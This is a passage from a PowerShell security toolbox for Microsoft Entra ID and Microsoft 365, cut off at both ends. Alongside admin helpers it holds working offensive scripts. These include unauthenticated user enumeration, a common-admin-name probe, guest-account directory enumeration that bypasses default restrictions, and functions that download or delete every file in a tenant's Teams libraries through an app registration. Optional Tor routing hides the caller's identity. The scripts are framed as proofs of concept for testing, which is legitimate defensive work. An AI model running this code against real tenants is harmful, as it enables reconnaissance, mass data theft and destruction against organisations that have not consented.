"DirectoryScopeId" = "/" + "Action" = "SelfActivate" + "ScheduleInfo" = @{ + "StartDateTime" = Get-Date + "Expiration" = @{ + "Type" = "AfterDuration" + "Duration" = "PT$Duration`H" + } + } + } + + $Result = New-MgRoleManagementDirectoryRoleAssignmentScheduleRequest -BodyParameter $params + + + Write-Verbose -Verbose -Message "$($Role.DisplayName) has been activated until $(Get-Date -Format 'f' -Date ((Get-Date).AddHours($Duration)))!" + } +} + + + +function Get-DCPublicIp { + <# + .SYNOPSIS + Get current public IP address information. + + .DESCRIPTION + Get the current public IP address and related information. The ipinfo.io API is used to fetch the information. You can use the -UseTorHttpProxy to route traffic through a running Tor network HTTP proxy that was started by Start-DCTorHttpProxy. + + .PARAMETER UseTorHttpProxy + Route traffic through a running Tor network HTTP proxy that was started by Start-DCTorHttpProxy. + + .INPUTS + None + + .OUTPUTS + Public IP address information. + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Get-DCPublicIp + + .EXAMPLE + (Get-DCPublicIp).ip + + .EXAMPLE + Write-Host "$((Get-DCPublicIp).city) $((Get-DCPublicIp).country)" + #> + + + param ( + [parameter(Mandatory = $false)] + [switch]$UseTorHttpProxy + ) + + if ($UseTorHttpProxy) { + Invoke-RestMethod -Proxy "http://127.0.0.1:9150" -Method "Get" -Uri "https://ipinfo.io/json" + } + else { + Invoke-RestMethod -Method "Get" -Uri "https://ipinfo.io/json" + } +} + + + +function Start-DCTorHttpProxy { + <# + .SYNOPSIS + Start a Tor network HTTP proxy for anonymous HTTP calls via PowerShell. + + .DESCRIPTION + Start a Tor network HTTP proxy that can be used for anonymization of HTTP traffic in PowerShell. Requires proxy support in the PowerShell CMDlet you want to anonymise. Many of the tools included in DCToolbox supports this. + + Start the proxy: + Start-DCTorHttpProxy + + The proxy will launch in a new PowerShell window that you can minimize. + + You can test it out (and find your currentn Tor IP address and location) with: + Get-DCPublicIp -UseTorHttpProxy + + For other CMDlets, use the following proxy configuration: + 127.0.0.1:9150 + + Note: This CMDlet expects the Tor browser to be installed under C:\Temp\Tor Browser. You can change the path with -TorBrowserPath. + + Download Tor browser: + https://www.torproject.org/download/ + + .PARAMETER TorBrowserPath + The path to the Tor browser directory. Default is 'C:\Temp\Tor Browser'. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Start-DCTorHttpProxy + #> + + + param ( + [parameter(Mandatory = $false)] + [string]$TorBrowserPath = 'C:\Temp\Tor Browser' + ) + + + # Configuration + $torBrowser = $TorBrowserPath + $TOR_HOST = "127.0.0.1" + $TOR_PORT = 9150 + $CTRL_PORT = 9151 + + # Do not modify these + $tor_location = "$torBrowser\Browser\TorBrowser\Tor" + $torrc_defaults = "$torBrowser\Browser\TorBrowser\Data\Tor\torrc-defaults" + $torrc = "$torBrowser\Browser\TorBrowser\Data\Tor\torrc" + $tordata = "$torBrowser\Browser\TorBrowser\Data\Tor" + $geoIP = "$torBrowser\Browser\TorBrowser\Data\Tor\geoip" + $geoIPv6 = "$torBrowser\Browser\TorBrowser\Data\Tor\geoip6" + $torExe = "$tor_location\tor.exe" + $controllerProcess = $PID + + function Get-OneToLastItem { + param ($arr) return $arr[$arr.Length - 2] + } + + $Command = "Write-Host '*** Running Tor HTTPS Proxy ***' -ForegroundColor Green; Write-Host ''; Write-Host 'Press [Ctrl+C] to stop Tor service.' -ForegroundColor Gray; Write-Host ''; & '$torExe' --defaults-torrc '$torrc_defaults' -f '$torrc' DataDirectory '$tordata' GeoIPFile '$geoIP' GeoIPv6File '$geoIPv6' +__ControlPort $CTRL_PORT +__HTTPTunnelPort '${TOR_HOST}:$TOR_PORT IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth' __OwningControllerProcess $controllerProcess | more" + + try { + Start-Process "`"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe`"" "-NoExit -Command $Command" + + Write-Host -ForegroundColor "Yellow" "Running Tor HTTPS Proxy on $TOR_HOST`:$TOR_PORT" + Write-Host "" + } + catch { + Write-Error -Message $PSItem.Exception.Message + } +} + + + +function Test-DCEntraIDUserExistence { + <# + .SYNOPSIS + Test if an account exists in Entra ID for specified email addresses. + + .DESCRIPTION + This CMDlet will connect to public endpoints in Entra ID to find out if an account exists for specified email addresses or not. This script works without any authentication to Entra ID. This is called user enumeration in cyber security. + + The script can't see accounts for federated domains (since they are on-prem accounts) but it will tell you what organisation the federated domain belongs to. + + Do not use this script in an unethical or unlawful way. Use it to find weak spots in you Entra ID configuration. + + .PARAMETER Users + An array of one or more user email addresses to test. + + .PARAMETER UseTorHttpProxy + Use a running Tor network HTTP proxy that was started by Start-DCTorHttpProxy. + + .EXAMPLE + Test-DCEntraIDUserExistence -UseTorHttpProxy -Users "user1@example.com", "user2@example.com", "user3@example.onmicrosoft.com" + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + #> + + + param ( + [parameter(Mandatory = $true)] + [array]$Users, + + [parameter(Mandatory = $false)] + [switch]$UseTorHttpProxy + ) + + foreach ($User in $Users) { + # Create custom object for output. + $TestObject = New-Object -TypeName psobject + + # Add username. + $TestObject | Add-Member -MemberType NoteProperty -Name "Username" -Value $User + + # Check if user account exists in Entra ID. + $IfExistsResult = 1 + + if ($UseTorHttpProxy) { + $IfExistsResult = ((Invoke-WebRequest -Proxy "http://127.0.0.1:9150" -Method "POST" -Uri "https://login.microsoftonline.com/common/GetCredentialType" -Body "{`"Username`":`"$User`"}").Content | ConvertFrom-Json).IfExistsResult + } + else { + $IfExistsResult = ((Invoke-WebRequest -Method "POST" -Uri "https://login.microsoftonline.com/common/GetCredentialType" -Body "{`"Username`":`"$User`"}").Content | ConvertFrom-Json).IfExistsResult + } + + if ($IfExistsResult -eq 0) { + # Check domain federation status. + [xml]$Response = "" + + if ($UseTorHttpProxy) { + [xml]$Response = (Invoke-WebRequest -Proxy "http://127.0.0.1:9150" -Uri "https://login.microsoftonline.com/getuserrealm.srf?login=$User&xml=1").Content + } + else { + [xml]$Response = (Invoke-WebRequest -Uri "https://login.microsoftonline.com/getuserrealm.srf?login=$User&xml=1").Content + } + + # Add org information. + $TestObject | Add-Member -MemberType NoteProperty -Name "Org" -Value $Response.RealmInfo.FederationBrandName + + # If domain is Federated we can't tell if the account exists or not :( + if ($Response.RealmInfo.IsFederatedNS -eq $true) { + $TestObject | Add-Member -MemberType NoteProperty -Name "UserExists" -Value "Unknown (federated domain: $((($Response.RealmInfo.AuthURL -split "//")[1] -split "/")[0]))" + } + # If the domain is Managed (not federated) we can tell if an account exists in Entra ID :) + else { + $TestObject | Add-Member -MemberType NoteProperty -Name "UserExists" -Value "Yes" + } + } + else { + $TestObject | Add-Member -MemberType NoteProperty -Name "UserExists" -Value "No" + } + + $TestObject + } +} + + + +function Test-DCEntraIDCommonAdmins { + <# + .SYNOPSIS + Test if common and easily guessed admin usernames exist for specified Entra ID domains. + + .DESCRIPTION + Uses Test-DCEntraIDUserExistence to test if common and weak admin account names exist in specified Entra ID domains. It uses publicaly available Microsoft endpoints to query for this information. Run help Test-DCEntraIDUserExistence for more info. + + Do not use this script in an unethical or unlawful way. Use it to find weak spots in you Entra ID configuration. + + .PARAMETER Domains + An array of one or more domains to test. + + .PARAMETER UseTorHttpProxy + Use a running Tor network HTTP proxy that was started by Start-DCTorHttpProxy. + + .EXAMPLE + Test-DCEntraIDCommonAdmins -UseTorHttpProxy -Domains "example.com", "example2.onmicrosoft.com" + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + #> + + + param ( + [parameter(Mandatory = $true)] + [array]$Domains, + + [parameter(Mandatory = $false)] + [switch]$UseTorHttpProxy + ) + + $CommonAdminUsernames = "admin@DOMAINNAME", + "administrator@DOMAINNAME", + "root@DOMAINNAME", + "system@DOMAINNAME", + "operator@DOMAINNAME", + "super@DOMAINNAME", + "breakglass@DOMAINNAME", + "breakglass1@DOMAINNAME", + "breakglass2@DOMAINNAME", + "serviceaccount@DOMAINNAME", + "service@DOMAINNAME", + "srv@DOMAINNAME", + "svc@DOMAINNAME", + "smtp@DOMAINNAME", + "smtprelay@DOMAINNAME", + "mail@DOMAINNAME", + "exchange@DOMAINNAME", + "sharepoint@DOMAINNAME", + "teams@DOMAINNAME", + "azure@DOMAINNAME", + "user@DOMAINNAME", + "user1@DOMAINNAME", + "user01@DOMAINNAME", + "guest@DOMAINNAME", + "test@DOMAINNAME", + "test1@DOMAINNAME", + "test01@DOMAINNAME", + "testing@DOMAINNAME", + "test.test@DOMAINNAME", + "test.testsson@DOMAINNAME", + "demo@DOMAINNAME", + "backup@DOMAINNAME", + "print@DOMAINNAME", + "sa@DOMAINNAME", + "sql@DOMAINNAME", + "mysql@DOMAINNAME", + "oracle@DOMAINNAME" + + foreach ($Domain in $Domains) { + if ($UseTorHttpProxy) { + Test-DCEntraIDUserExistence -UseTorHttpProxy -Users ($CommonAdminUsernames -replace "DOMAINNAME", $Domain) + } + else { + Test-DCEntraIDUserExistence -Users ($CommonAdminUsernames -replace "DOMAINNAME", $Domain) + } + } +} + + + +function Get-DCEntraIDUsersAndGroupsAsGuest { + <# + .SYNOPSIS + This script lets a guest user enumerate users and security groups/teams when 'Guest user access restrictions' in Entra ID is set to the default configuration. + + .DESCRIPTION + This script is a proof of concept. Don't use it for bad things! It lets a guest user enumerate users and security groups/teams when 'Guest user access restrictions' in Entra ID is set to the default configuration. It works around the limitation that guest users must do explicit lookups for users and groups. It basically produces a list of all users and groups in the tenant, even though such actions are blocked for guests by default. + + If the target tenant allows guest users to sign in with Entra ID PowerShell, and the 'Guest user access restrictions' is set to one of these two settings: + 'Guest users have the same access as members (most inclusive)' + 'Guest users have limited access to properties and memberships of directory objects' [default] + + And not set to: + 'Guest user access is restricted to properties and memberships of their own directory objects (most restrictive)' + + ...then this script will query Entra ID for the group memberships of the specified -InterestingUsers that you already know the UPN of. It then perform nested queries until all users and groups have been found. It will stop after a maximum of 5 iterations to avoid throttling and infinite loops. "A friend of a friend of a friend..." + + Finally, the script will output one array with found users, and one array with found groups/teams. You can then export them to CSV or some other format of your choice. Export examples are outputed for your convenience. + + .PARAMETER TenantId + The tenant ID of the target tenant where you are a guest. You can find all your guest tenant IDs here: https://portal.azure.com/#settings/directory + + .PARAMETER AccountId + Your UPN in your home tenant (probably your email address, right?). + + .PARAMETER InterestingUsers + One or more UPNs of users in the target tenant. These will serve as a starting point for the search, and one or two employees you know about is often sufficient to enumerate everything. + + .EXAMPLE + Get-DCEntraIDUsersAndGroupsAsGuest -TenantId '00000000-0000-0000-0000-000000000000' -AccountId 'user@example.com' -InterestingUsers 'customer1@customer.com', 'customer2@customer.com' + + .INPUTS + None + + .OUTPUTS + One array with found users, and one array with found groups/teams. + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + #> + + + param ( + [parameter(Mandatory = $true)] + [string]$TenantId, + + [parameter(Mandatory = $true)] + [string]$AccountId, + + [parameter(Mandatory = $true)] + [string[]]$InterestingUsers + ) + + + # Connect to the target tenant as a guest. + Write-Verbose -Verbose -Message 'Connecting to Entra ID as guest...' + Connect-AzureAd -TenantId $TenantId -AccountId $AccountId | Out-Null + + + # Variables to collect. + $global:FoundUsers = @() + $global:FoundGroups = @() + + + # First round. + Write-Verbose -Verbose -Message 'Starting round 1...' + $global:FoundUsers = foreach ($User in $InterestingUsers) { + $FormatedUser = Get-AzureAdUser -ObjectId $User + $Manager = Get-AzureAdUserManager -ObjectId $FormatedUser.ObjectId + $FormatedUser | Add-Member -NotePropertyName 'ManagerDisplayName' -NotePropertyValue $Manager.DisplayName -Force + $FormatedUser | Add-Member -NotePropertyName 'ManagerUpn' -NotePropertyValue $Manager.UserPrincipalName -Force + $FormatedUser | Add-Member -NotePropertyName 'ManagerObjectId' -NotePropertyValue $Manager.ObjectId -Force + $FormatedUser + } + + $global:FoundUsers = @($global:FoundUsers | Select-Object -Unique | Sort-Object UserPrincipalName) + Write-Verbose -Verbose -Message "Found $($global:FoundUsers.Count) users!" + + + # Remaining rounds. + for ($i = 2; $i -le 5; $i++) { + Write-Verbose -Verbose -Message "Starting round $i..." + + foreach ($User in $global:FoundUsers) { + $Groups = Get-AzureAdUserMembership -ObjectID $User.UserPrincipalName | Where-Object DisplayName -NE $null + + foreach ($Group in $Groups) { + if ($global:FoundGroups.ObjectId) { + if (!($global:FoundGroups.ObjectId.Contains($Group.ObjectId))) { + Write-Verbose -Verbose -Message "Processing group '$($Group.DisplayName)'..." + + $global:FoundGroups += $Group + + $Members = @() + + try { + $Members = Get-AzureAdGroupMember -All:$true -ObjectId $Group.ObjectId -ErrorAction SilentlyContinue + } + catch { + # Do nothing. + } + + foreach ($Member in $Members) { + if (!($global:FoundUsers.ObjectId.Contains($Member.ObjectId))) { + $FormatedUser = Get-AzureAdUser -ObjectId $Member.ObjectId -ErrorAction SilentlyContinue + $Manager = Get-AzureAdUserManager -ObjectId $FormatedUser.ObjectId + $FormatedUser | Add-Member -NotePropertyName 'ManagerDisplayName' -NotePropertyValue $Manager.DisplayName -Force + $FormatedUser | Add-Member -NotePropertyName 'ManagerUpn' -NotePropertyValue $Manager.UserPrincipalName -Force + $FormatedUser | Add-Member -NotePropertyName 'ManagerObjectId' -NotePropertyValue $Manager.ObjectId -Force + $global:FoundUsers += $FormatedUser + } + } + } + } + else { + Write-Verbose -Verbose -Message "Processing group '$($Group.DisplayName)'..." + + $global:FoundGroups += $Group + + $Members = @() + + try { + $Members = Get-AzureAdGroupMember -All:$true -ObjectId $Group.ObjectId -ErrorAction SilentlyContinue + } + catch { + # Do nothing. + } + + foreach ($Member in $Members) { + if (!($global:FoundUsers.ObjectId.Contains($Member.ObjectId))) { + $FormatedUser = Get-AzureAdUser -ObjectId $Member.ObjectId -ErrorAction SilentlyContinue + $Manager = Get-AzureAdUserManager -ObjectId $FormatedUser.ObjectId + $FormatedUser | Add-Member -NotePropertyName 'ManagerDisplayName' -NotePropertyValue $Manager.DisplayName -Force + $FormatedUser | Add-Member -NotePropertyName 'ManagerUpn' -NotePropertyValue $Manager.UserPrincipalName -Force + $FormatedUser | Add-Member -NotePropertyName 'ManagerObjectId' -NotePropertyValue $Manager.ObjectId -Force + $global:FoundUsers += $FormatedUser + } + } + } + } + } + + # Remove duplicates. + $global:FoundUsers = $global:FoundUsers | Select-Object -Unique | Sort-Object UserPrincipalName + Write-Verbose -Verbose -Message "Found $($global:FoundUsers.Count) users!" + $global:FoundGroups = $global:FoundGroups | Select-Object -Unique | Sort-Object DisplayName + Write-Verbose -Verbose -Message "Found $($global:FoundGroups.Count) groups!" + + # Check if we found any new users or groups this round. + if ($global:FoundUsers.Count -eq $LastRoundUsers -and $global:FoundGroups.Count -eq $LastRoundGroups) { + Write-Verbose -Verbose -Message "No new users or groups found in this round! Breaking loop!" + break + } + + # Use this to check for new users and groups next round. + $LastRoundUsers = $global:FoundUsers.Count + $LastRoundGroups = $global:FoundGroups.Count + } + + + # Output instructions. + Write-Host '' + Write-Verbose -Verbose -Message "You now have two arrays with found users and groups:" + Write-Host -ForegroundColor 'Green' '$FoundUsers | Format-Table ObjectId, UserPrincipalName, DisplayName, ManagerUpn, ManagerDisplayName' + Write-Host -ForegroundColor 'Green' '$FoundGroups | Format-Table ObjectId, DisplayName, Description, SecurityEnabled' + Write-Host '' + Write-Verbose -Verbose -Message "You can export them to CSV like this:" + Write-Host -ForegroundColor 'Green' "`$FoundUsers | Export-Csv -NoTypeInformation -Delimiter ';' -Encoding UTF8 -Path 'FoundUsers.csv'" + Write-Host -ForegroundColor 'Green' "`$FoundGroups | Export-Csv -NoTypeInformation -Delimiter ';' -Encoding UTF8 -Path 'FoundGroups.csv'" + Write-Host '' +} + + + +function Invoke-DCM365DataExfiltration { + <# + .SYNOPSIS + This script uses an Entra ID app registration to download all files from all M365 groups (Teams) document libraries in a tenant. + + .DESCRIPTION + This script is a proof of concept and for testing purposes only. Do not use this script in an unethical or unlawful way. Don’t be stupid! + + This script showcase how an attacker can exfiltrate huge amounts of files from a Microsoft 365 tenant, using a poorly protected Entra ID app registration with any of the following Microsoft Graph permissions: + + - Files.Read.All + - Files.ReadWrite.All + - Sites.Read.All + - Sites.ReadWrite.All + + Also, one of the following permissions is required to enumerate M365 groups and SharePoint document libraries: + + - GroupMember.Read.All + - Group.Read.All + - Directory.Read.All + - Group.ReadWrite.All + - Directory.ReadWrite.All + + The script will loop through all M365 groups and their SharePoint Online document libraries (used by Microsoft Teams for storing files) and download all files it can find, down to three folder levels. The files will be downloaded to the current directory. + + A list of downloaded files will be copied to the clipboard after completion. + + You can run the script with -WhatIf to skip the actual downloads. It will still show the output and what would have been downloaded. + + .PARAMETER ClientID + Client ID for your Entra ID application. + + .PARAMETER ClientSecret + Client secret for the Entra ID application. + + .PARAMETER TenantName + The name of your tenant (example.onmicrosoft.com). + + .PARAMETER WhatIf + Skip the actual downloads. It will still show the output and what would have been downloaded. + + .EXAMPLE + Invoke-M365DataExfiltration -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' + + .EXAMPLE + Invoke-M365DataExfiltration -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' -WhatIf + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + #> + + + param ( + [parameter(Mandatory = $true)] + [string]$ClientID, + + [parameter(Mandatory = $true)] + [string]$ClientSecret, + + [parameter(Mandatory = $true)] + [string]$TenantName, + + [parameter(Mandatory = $false)] + [switch]$WhatIf + ) + + + # WhatIf. + if ($WhatIf) { + Write-Verbose -Verbose -Message "NOTE: -WhatIf was declared. Simulating run (no files will be downloaded)!" + } + + + # Connect to Microsoft Graph with application credentials. + Write-Verbose -Verbose -Message "Connecting to Microsoft Graph as Service Principal '$ClientID'..." + $Parameters = @{ + ClientID = $ClientID + ClientSecret = $ClientSecret + TenantName = $TenantName + } + + $AccessToken = Connect-DCMsGraphAsApplication @Parameters + + + # GET all Microsoft 365 Groups. + Write-Verbose -Verbose -Message "Fetching all Microsoft 365 groups (Teams)..." + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/groups?`$filter=groupTypes/any(c:c+eq+'Unified')&`$select=id,displayName,description" + } + + $M365Groups = Invoke-DCMsGraphQuery @Parameters + Write-Verbose -Verbose -Message "Found $($M365Groups.Count) Microsoft 365 groups." + + + # GET all related SharePoint document libraries. + Write-Verbose -Verbose -Message "Loading related SharePoint document libraries..." + $DocumentLibraries = foreach ($Group in $M365Groups) { + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/groups/$($Group.id)/drive?`$select=id,name,webUrl" + } + + Invoke-DCMsGraphQuery @Parameters + } + Write-Verbose -Verbose -Message "Done! Starting download job NOW..." + + + # DOWNLOAD files in the document libraries (root level + three folder levels down). + $Files = foreach ($DocumentLibrary in $DocumentLibraries) { + Write-Verbose -Verbose -Message "--- Looking in '$($DocumentLibrary.webUrl)'..." + + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/root/children" + } + + $RootContent = Invoke-DCMsGraphQuery @Parameters + $RootContent | where file + + # Download files in root directory. + foreach ($File in ($RootContent | where file)) { + Write-Verbose -Verbose -Message "------ Downloading '$($File.Name)' ($([math]::round($File.Size/1MB, 2)) MB)..." + + $HeaderParams = @{ + 'Content-Type' = "application\json" + 'Authorization' = "Bearer $AccessToken" + } + + if (!($WhatIf)) { + Invoke-RestMethod -Headers $HeaderParams -Uri $File."@microsoft.graph.downloadUrl" -UseBasicParsing -Method GET -ContentType "application/json" -OutFile $File.Name + } + } + + foreach ($Item in ($RootContent | where folder)) { + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($Item.id)/children" + } + + $SubContentLevel1 = Invoke-DCMsGraphQuery @Parameters + $SubContentLevel1 | where file + + # Download files in sub SubContentLevel1. + foreach ($File in ($SubContentLevel1 | where file)) { + Write-Verbose -Verbose -Message "------ Downloading '$($File.Name)' ($([math]::round($File.Size/1MB, 2)) MB)..." + + $HeaderParams = @{ + 'Content-Type' = "application\json" + 'Authorization' = "Bearer $AccessToken" + } + + if (!($WhatIf)) { + Invoke-RestMethod -Headers $HeaderParams -Uri $File."@microsoft.graph.downloadUrl" -UseBasicParsing -Method GET -ContentType "application/json" -OutFile $File.Name + } + } + + # Go through folders in SubContentLevel1. + foreach ($Item in ($SubContentLevel1 | where folder)) { + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($Item.id)/children" + } + + $SubContentLevel2 = Invoke-DCMsGraphQuery @Parameters + $SubContentLevel2 | where file + + # Download files in sub SubContentLevel2. + foreach ($File in ($SubContentLevel2 | where file)) { + Write-Verbose -Verbose -Message "------ Downloading '$($File.Name)' ($([math]::round($File.Size/1MB, 2)) MB)..." + + $HeaderParams = @{ + 'Content-Type' = "application\json" + 'Authorization' = "Bearer $AccessToken" + } + + if (!($WhatIf)) { + Invoke-RestMethod -Headers $HeaderParams -Uri $File."@microsoft.graph.downloadUrl" -UseBasicParsing -Method GET -ContentType "application/json" -OutFile $File.Name + } + } + + # Go through folders in SubContentLevel2. + foreach ($Item in ($SubContentLevel2 | where folder)) { + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($Item.id)/children" + } + + $SubContentLevel3 = Invoke-DCMsGraphQuery @Parameters + $SubContentLevel3 | where file + + # Download files in sub SubContentLevel3. + foreach ($File in ($SubContentLevel3 | where file)) { + Write-Verbose -Verbose -Message "------ Downloading '$($File.Name)' ($([math]::round($File.Size/1MB, 2)) MB)..." + + $HeaderParams = @{ + 'Content-Type' = "application\json" + 'Authorization' = "Bearer $AccessToken" + } + + if (!($WhatIf)) { + Invoke-RestMethod -Headers $HeaderParams -Uri $File."@microsoft.graph.downloadUrl" -UseBasicParsing -Method GET -ContentType "application/json" -OutFile $File.Name + } + } + } + } + } + } + + + # Copy result to clipboard and exit. + $Files | Select-Object Name, size | Set-Clipboard + Write-Verbose -Verbose -Message "File list copied to clipboard!" + Write-Verbose -Verbose -Message "All done!" +} + + + +function Invoke-DCM365DataWiper { + <# + .SYNOPSIS + This script uses an Entra ID app registration to wipe all files from all M365 groups (Teams) document libraries in a tenant. + + .DESCRIPTION + This script is a proof of concept and for testing purposes only. Do not use this script in an unethical or unlawful way. Don’t be stupid! + + This script showcase how an attacker can wipe huge amounts of files from a Microsoft 365 tenant, using a poorly protected Entra ID app registration with any of the following Microsoft Graph permissions: + + - Files.ReadWrite.All + - Sites.ReadWrite.All + + Also, one of the following permissions is required to enumerate M365 groups and SharePoint document libraries: + + - GroupMember.Read.All + - Group.Read.All + - Directory.Read.All + - Group.ReadWrite.All + - Directory.ReadWrite.All + + The script will loop through all M365 groups and their SharePoint Online document libraries (used by Microsoft Teams for storing files) and delete all files it can find, down to three folder levels. The files will be downloaded to the current directory. + + A list of downloaded files will be copied to the clipboard after completion. + + You can run the script with -WhatIf to skip the actual deletion. It will still show the output and what would have been deleted. + + .PARAMETER ClientID + Client ID for your Entra ID application. + + .PARAMETER ClientSecret + Client secret for the Entra ID application. + + .PARAMETER TenantName + The name of your tenant (example.onmicrosoft.com). + + .PARAMETER WhatIf + Skip the actual deletion. It will still show the output and what would have been deleted. + + .EXAMPLE + Invoke-DCM365DataWiper -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' + + .EXAMPLE + Invoke-DCM365DataWiper -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' -WhatIf + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + #> + + + param ( + [parameter(Mandatory = $true)] + [string]$ClientID, + + [parameter(Mandatory = $true)] + [string]$ClientSecret, + + [parameter(Mandatory = $true)] + [string]$TenantName, + + [parameter(Mandatory = $false)] + [switch]$WhatIf + ) + + + # WhatIf. + if ($WhatIf) { + Write-Verbose -Verbose -Message "NOTE: -WhatIf was declared. Simulating run (no files will be deleted)!" + } + + + # Connect to Microsoft Graph with application credentials. + Write-Verbose -Verbose -Message "Connecting to Microsoft Graph as Service Principal '$ClientID'..." + $Parameters = @{ + ClientID = $ClientID + ClientSecret = $ClientSecret + TenantName = $TenantName + } + + $AccessToken = Connect-DCMsGraphAsApplication @Parameters + + + # GET all Microsoft 365 Groups. + Write-Verbose -Verbose -Message "Fetching all Microsoft 365 groups (Teams)..." + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/groups?`$filter=groupTypes/any(c:c+eq+'Unified')&`$select=id,displayName,description" + } + + $M365Groups = Invoke-DCMsGraphQuery @Parameters + Write-Verbose -Verbose -Message "Found $($M365Groups.Count) Microsoft 365 groups." + + + # GET all related SharePoint document libraries. + Write-Verbose -Verbose -Message "Loading related SharePoint document libraries..." + $DocumentLibraries = foreach ($Group in $M365Groups) { + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/groups/$($Group.id)/drive?`$select=id,name,webUrl" + } + + Invoke-DCMsGraphQuery @Parameters + } + Write-Verbose -Verbose -Message "Done! Starting wipe job NOW..." + + + # DELETE files in the document libraries (root level + three folder levels down). + $Files = foreach ($DocumentLibrary in $DocumentLibraries) { + Write-Verbose -Verbose -Message "--- Looking in '$($DocumentLibrary.webUrl)'..." + + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/root/children" + } + + $RootContent = Invoke-DCMsGraphQuery @Parameters + $RootContent | where file + + # Delete files in root directory. + foreach ($File in ($RootContent | where file)) { + Write-Verbose -Verbose -Message "------ Deleting '$($File.Name)' ($([math]::round($File.Size/1MB, 2)) MB)..." + + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'DELETE' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($File.id)" + } + + if (!($WhatIf)) { + $RootContent = Invoke-DCMsGraphQuery @Parameters + } + } + + foreach ($Item in ($RootContent | where folder)) { + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($Item.id)/children" + } + + $SubContentLevel1 = Invoke-DCMsGraphQuery @Parameters + $SubContentLevel1 | where file + + # Delete files in sub SubContentLevel1. + foreach ($File in ($SubContentLevel1 | where file)) { + Write-Verbose -Verbose -Message "------ Deleting '$($File.Name)' ($([math]::round($File.Size/1MB, 2)) MB)..." + + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'DELETE' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($File.id)" + } + + if (!($WhatIf)) { + $RootContent = Invoke-DCMsGraphQuery @Parameters + } + } + + # Go through folders in SubContentLevel1. + foreach ($Item in ($SubContentLevel1 | where folder)) { + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($Item.id)/children" + } + + $SubContentLevel2 = Invoke-DCMsGraphQuery @Parameters + $SubContentLevel2 | where file + + # Delete files in sub SubContentLevel2. + foreach ($File in ($SubContentLevel2 | where file)) { + Write-Verbose -Verbose -Message "------ Deleting '$($File.Name)' ($([math]::round($File.Size/1MB, 2)) MB)..." + + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'DELETE' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($File.id)" + } + + if (!($WhatIf)) { + $RootContent = Invoke-DCMsGraphQuery @Parameters + } + } + + # Go through folders in SubContentLevel2. + foreach ($Item in ($SubContentLevel2 | where folder)) { + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/v1.0/drives/$($DocumentLibrary.id)/items/$($Item.id)/children" + } + + $SubContentLevel3 = Invoke-DCMsGraphQuery @Parameters + $SubContentLevel3 | where file + + # Delete files in sub SubContentLevel3. + foreach ($File in ($SubContentLevel3 | where file)) { + Write-Verbose -Verbose -Message "------ Deleting '$($File.Name)' ($([math]::round($File.Size/1MB, 2)) MB)..." + + $Parameters 